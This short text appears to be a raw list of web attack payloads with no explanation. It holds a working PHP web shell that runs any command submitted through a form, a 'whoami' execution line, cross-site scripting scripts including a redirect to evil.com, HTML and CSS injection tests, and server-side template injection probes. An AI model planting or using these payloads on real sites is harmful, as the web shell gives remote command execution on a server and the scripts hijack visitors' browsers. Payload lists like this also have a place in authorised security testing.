<?php system(‘whoami’); ?>
<?php
if (isset($_POST[‘cmd’])) {
$cmd = $_POST[‘cmd’];
echo “<pre>” . shell_exec($cmd) . “</pre>”;
}
?>
<form method=”POST”>
<input type=”text” name=”cmd” placeholder=”Enter command”>
<input type=”submit” value=”Execute”>
</form>
<script>alert(‘HACKED’)</script>
<style>*{background: pink !important;}</style>
<marquee>html</marquee>
<script>location=’https://evil.com'</script>
<%=7*7%>
({{7*7}})